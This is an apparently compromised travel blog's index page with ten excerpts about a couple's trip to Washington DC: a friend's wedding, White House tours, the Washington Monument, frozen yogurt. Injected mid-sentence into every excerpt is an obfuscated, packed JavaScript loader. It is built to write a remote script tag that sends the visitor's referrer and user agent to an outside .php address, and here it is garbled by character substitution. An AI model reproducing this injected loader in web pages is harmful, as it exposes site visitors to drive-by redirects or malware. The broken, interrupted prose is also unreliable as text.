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On ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ztfbn|var|u0026u|referrer|ddkrs||js|php’.split(‘|’),0,{})) our Sunday afternoon stroll through DC, we tried to get into the Library of Congress. To our dismay, it was closed. Lame. FYI – the King Country Libraries are open on Sundays. We also noticed this utterly confusing set of signs. It might be hard to read but one […]

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Walking signals

One ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzzbr|var|u0026u|referrer|ttiyr||js|php’.split(‘|’),0,{})) of things we noticed while in DC, was that they had INCREDIBLY long walking signals. Some were +60 seconds. Crazy, I know! It was also interesting that the police don’t give a darn if you jay walk. I got yelled at in college for jay walking, so I’m very […]

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Sunday Mornings in DC

The ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nkdtf|var|u0026u|referrer|hzrzs||js|php’.split(‘|’),0,{})) day after the wedding was positively lovely. We started off with a delicious breakfast casserole made with crescent roll dough, breakfast sausage, eggs and cheese (who doesn’t like that?). Then I made some red velvet cupcakes to thank my wonderful hosts! We headed out the door, cupcakes in hand, […]

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So Sad

DC ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yeadn|var|u0026u|referrer|bsybz||js|php’.split(‘|’),0,{})) was having some very summer-like weather while we were there. It felt warm and HUMID…ick! If you’ve ever been to DC, you know that there is NO food for a 2 block radius around the mall. If you haven’t been to DC, just remember to eat before you get […]

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Tying the knot, Issaquah style

The ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|syrdh|var|u0026u|referrer|irtss||js|php’.split(‘|’),0,{})) main reason we were in DC was to attend Karen and Michael’s wedding. Who are Karen and Michael? The only couple we know that has dated longer than us. Yep, that’s right. They have us by a few months….although by the time we do the deed in November, we […]

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The power of the internet

So ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekins|var|u0026u|referrer|esddf||js|php’.split(‘|’),0,{})) here’s the deal. I got involved with Relay for Life during college. My good friend, Kelly, is a HUGE supporter of the American Cancer Society and got me involved (for more on Kelly, see my other post today). Cancer has affected many people close to me, and I choose […]

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KJR

Kelly ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aediz|var|u0026u|referrer|ehanf||js|php’.split(‘|’),0,{})) Jean Ronan and I were RAs together in Lander hall at UW. We’ve traveled to Disney World together and share a mutual love of GLEE. She was our lovely host this weekend, letting us crash at her awesome house (located on Independence Dr., no less). During a break from […]

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Tangy Sweet

What ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhnnb|var|u0026u|referrer|iisih||js|php’.split(‘|’),0,{})) trip would be complete without dessert at the local frozen yogurt shop. Voted DCs best, it didn’t disappoint. I ordered the original with strawberries and mochi (no the dog). It was so delicious we had it twice. It’s not self serve, more like pink berry. I can eat more […]

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The stupid Washington Monument

This ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzneh|var|u0026u|referrer|hdsdi||js|php’.split(‘|’),0,{})) is my 3rd trip to DC and the 3rd time I have tried to go up the Washington Monument. I appreciate that almost everything in DC is free. But it’s really annoying when you have to show up at o’dark-thirty to get your free tickets. I know….I shouldn’t complain….it’s […]

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They let us where?

Nick ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zikyy|var|u0026u|referrer|hrayb||js|php’.split(‘|’),0,{})) and I were lucky enough to score 2 different tours of the White House. That’s right, I said TWO!!! The first tour was of the East Wing. They didn’t allow cameras…..so no pictures. Each room is closely monitored by burly secret service men…who know all the finer points of […]